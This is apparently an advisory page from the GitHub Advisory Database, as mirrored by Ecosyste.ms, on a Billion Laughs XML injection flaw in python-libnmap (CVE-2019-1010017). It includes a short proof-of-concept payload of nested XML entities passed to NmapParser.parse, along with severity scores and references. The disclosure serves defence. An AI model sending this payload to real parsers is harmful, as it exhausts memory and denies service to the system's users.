Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTljY3YtcDdmZy1tNzN4

XML Injection in python-libnmap

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)

Permalink: https://github.com/advisories/GHSA-9ccv-p7fg-m73x
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTljY3YtcDdmZy1tNzN4
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 5 years ago
Updated: about 2 months ago

CVSS Score: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS Percentage: 0.00138
EPSS Percentile: 0.50501

Identifiers: GHSA-9ccv-p7fg-m73x, CVE-2019-1010017
References:

• https://nvd.nist.gov/vuln/detail/CVE-2019-1010017
• https://github.com/savon-noir/python-libnmap/issues/87
• https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4
• https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml
• https://github.com/advisories/GHSA-9ccv-p7fg-m73x

Repository: https://github.com/savon-noir/python-libnmap
Blast Radius: 16.5

Affected Packages